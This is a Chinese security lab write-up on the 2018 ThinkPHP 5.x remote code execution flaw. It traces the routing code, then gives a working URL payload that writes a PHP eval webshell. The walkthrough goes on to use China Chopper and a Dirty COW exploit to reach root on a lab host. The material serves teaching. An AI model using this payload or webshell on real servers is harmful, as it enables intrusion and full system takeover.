FavoriteLoading
0

ThinkPHP5遠程代碼執行漏洞

ThinkPHP是一個免費開源的快速、簡單、面向對象的輕量級PHP開發框架,是為了敏捷Web應用開發和簡化企業應用開發而誕生。

ThinkPHP 5.0版本是一個顛覆和重構版本,采用全新的架構思想,引入了更多的PHP新特性,優化了核心,減少了依賴,實現了真正的惰性加載,支持composer,并針對API開發做了大量的優化。

ThinkPHP官方2018年12月9日發布修復了一個嚴重的遠程代碼執行漏洞。該更新主要涉及一個安全更新,由于框架對控制器名沒有進行足夠的檢測會導致在沒有開啟強制路由的情況下可能的getshell漏洞。

受影響的版本包括5.0和5.1版本,推薦盡快更新到最新版本。

原理

這個漏洞是由于框架對控制器名沒有進行足夠的檢測而導致在沒有開啟強制路由的情況下可能的getshell。

因此漏洞的觸發在路由調度時。

Thinkphp中是由函數pathinfo()來獲取路由的,因此我們可以搜索關鍵詞pathinfo,來定位函數。

該路由函數中$this->config['var_pathinfo']是配置文件的默認值,其初始化代碼如下,值為‘s’:

當請求報文包含$_GET['s'],就取其值作為pathinfo,并返回pathinfo給調用函數。

分析發現pathinfo函數被library/think/Request.php中的path函數調用:

顯然,這里$this->path源自pathinfo,因此可以被惡意訪問者控制。繼續分析該變量的傳遞,在library/think/App.php中被引用:

這里是進行路由檢測,惡意訪問者可控的$path被傳遞給了如下的check函數:

thinkphp/library/think/Route.php

分析代碼可知,如果開啟了強制路由則會拋出異常

Check函數最后實例化一個UrlDispatch對象,將$url傳遞給了構造函數。繼續分析UrlDispatch的父類也就是Dispatch類的構造函數:

/thinkphp/library/think/routeDispatch.php

$dispatch變量可控并賦值給了$this->dispatch,經過多次函數調用返回,最后如下的Url類的init 函數將會被調用來處理$this->dispatch

/thinkphp/library/think/route/dispatch/Url.php

這里調用parseUrl對$this->dispatch進行解析,這是該漏洞的核心點之一:

這里調用parseUrlPath函數對$url進行解析,繼續分析該函數:

/thinkphp/library/think/route/Rule.php

顯然,url的格式為“模塊/控制器/操作”,url的格式為“模塊/控制器/操作”,url分割形成一個數組存到$path變量中并返回到調用者。

繼續分析封裝路由的代碼:

library/think/route/dispatch/Url.php

路由封裝返回到library/think/route/dispatch/Url.php

$result就是封裝好的路由數組,傳遞給了Module的構造函數。

由于Module也是繼承自Dispatch類,直接看Dispatch的構造函數:

$result賦值給了$this->dispatch。然后調用Module類的init函數:

\thinkphp\library\think\route\dispatch\Module.php
     public function init()
    {
        parent::init();

        $result = $this->dispatch;

        if (is_string($result)) {
            $result = explode('/', $result);
        }

        if ($this->rule->getConfig('app_multi_module')) {
            // 多模塊部署
            $module    = strip_tags(strtolower($result[0] ?: $this->rule->getConfig('default_module')));
            $bind      = $this->rule->getRouter()->getBind();
            $available = false;

            if ($bind && preg_match('/^[a-z]/is', $bind)) {
                // 綁定模塊
                list($bindModule) = explode('/', $bind);
                if (empty($result[0])) {
                    $module = $bindModule;
                }
                $available = true;
            } elseif (!in_array($module, $this->rule->getConfig('deny_module_list')) && is_dir($this->app->getAppPath() . $module)) {
                $available = true;
            } elseif ($this->rule->getConfig('empty_module')) {
                $module    = $this->rule->getConfig('empty_module');
                $available = true;
            }

            // 模塊初始化
            if ($module && $available) {
                // 初始化模塊
                $this->request->setModule($module);
                $this->app->init($module);
            } else {
                throw new HttpException(404, 'module not exists:' . $module);
            }
        }

        // 是否自動轉換控制器和操作名
        $convert = is_bool($this->convert) ? $this->convert : $this->rule->getConfig('url_convert');
        // 獲取控制器名
        $controller       = strip_tags($result[1] ?: $this->rule->getConfig('default_controller'));
        $this->controller = $convert ? strtolower($controller) : $controller;

        // 獲取操作名
        $this->actionName = strip_tags($result[2] ?: $this->rule->getConfig('default_action'));

        // 設置當前請求的控制器、操作
        $this->request
            ->setController(Loader::parseName($this->controller, 1))
            ->setAction($this->actionName);

        return $this;

這里存在第一個對$module的判斷,需要讓$available等于true,這就需要iis_dir(this->app->getAppPath() . module)成立。

官方demo給出的模塊是index,而實際開發程序不一定存在該模塊名,所以構造payload時這里是一個注意點。

滿足這個判斷條件后,繼續分析后續的控制流會進入如下module的exec函數:

分析發現,$this->controller是惡意訪問者可控的,并傳遞給了如下的controller函數,繼續分析該函數:

\thinkphp\library\think\App.php

在這里,name是惡意訪問者可控的,并傳遞給了如下的parseModuleAndClass函數:

分析發現,當$name存在反斜杠時就直接將$name賦值給$class并返回。顯然,惡意訪問者通過控制輸入就可以操控類的實例化過程,從而造成代碼執行漏洞。

實驗環境

  • 操作機:Windows XP

  • 172.16.11.2

  • 目標機:CentOS 6.5

  • 172.16.12.2

  • 目標地址:http://172.16.12.2

  • 實驗文件下載地址:file.ichunqiu.com/zzx5zfj2

實驗步驟

實驗內所需文件請訪問file.ichunqiu.com/zzx5zfj2進行下載

步驟一:訪問目標,利用Payload寫入文件,并驗證文件是否寫入成功。

首先打開目標URL,發現這是Thinkphp5.1版本的,因此利用針對5.1版本的Payload進行利用。

Payload:

index.php?s=index/\think\template\driver\file/write&cacheFile=【寫入文件名】&content=【寫入內容】

一句話木馬:

<?php @eval($_POST['X']);?>

我們只要修改payload,如修改:

index.php?s=index/\think\template\driver\file/write&cacheFile=myshell.php&content=<?php @eval($_POST['X']);?>

在目標URL后面直接添加上面的payload即刻,若返回空白并訪問shell.php返回空白,則說明寫入成功。

需要注意的是:寫入的文件在網站/public目錄下,因此我們要想訪問shell.php只要在原本的目標URL后添加shell.php。

步驟二:打開中國菜刀,連接一句話木馬。

打開中國菜刀,右鍵點擊添加,輸入地址、連接的密碼以及腳本語言后點擊添加。

http://172.16.12.2/public/myshell.php
密碼:X

添加成功后,點擊右鍵文件管理,即刻查看網站目錄下的文件。

接著點擊thinkphp5的目錄下查看key1.txt文件。

步驟三:進行提權操作

從web目錄結構可以看出這是Linux系統。因此可以嘗試臟牛提權。

返回中國菜刀主頁,選擇目標并右鍵,點擊虛擬終端。

通過命令id查看當前用戶,可以看到當前用戶是www,權限是不夠的。因此再次右鍵文件管理,上傳dirty_exp文件至thinkphp5/public/目錄下,上傳成功后我們可以看到它的屬性是644,www是不夠權限運行的,所以右鍵打開終端,輸入以下命令:

chmod 777 dirty_exp

這個時候www用戶已經可以執行這個文件了,命令如下:

./dirty_exp ichunqiu //ichunqiu是設置的密碼

步驟四:確認提權成功

我們可以看到菜刀執行了./dirty_exp ichunqiu這條命令之后,返回操作超時。因此為了保證成功提權,我們可以查看/etc/passwd來確認root是否已經被改名。

步驟五:ssh訪問目標服務器

確認過提權成功后,我們打開putty這款工具,在HOST NAME那寫上IP地址后點擊Open,在彈出的窗口中填入root賬號(默認修改為firefart)和密碼(自定義)即可登錄目標服務器。

步驟六:訪問root目錄下key2.txt文件

現在我們終于有了root的權限,只要切換到root目錄下,cat key2.txt就完成了本次的實驗。

實驗結果分析與總結

Linux提權方式

  • 利用Linux內核漏洞提權

  • 利用低權限用戶目錄下可被Root權限用戶調用的腳本提權

  • 利用環境變量劫持高權限程序提權

理解Linux權限

詳細說明鏈接http://www.runoob.com/linux/linux-file-attr-permission.html

  • 菜刀一句話木馬編寫以及中國菜刀的原理
<?php @eval($_POST['E'])?>
//提交方式為POST

思考

  • 如何編寫自己的一句話木馬

  • 中國菜刀的原理

  • 了解并思考臟牛(CVE-2016-5195)的原理,嘗試自己編譯臟牛exp

【聲明】:8090安全小組門戶(http://www.jvwkvg.tw)登載此文出于傳遞更多信息之目的,并不代表本站贊同其觀點和對其真實性負責,僅適于網絡安全技術愛好者學習研究使用,學習中請遵循國家相關法律法規。如有問題請聯系我們,聯系郵箱[email protected],我們會在最短的時間內進行處理。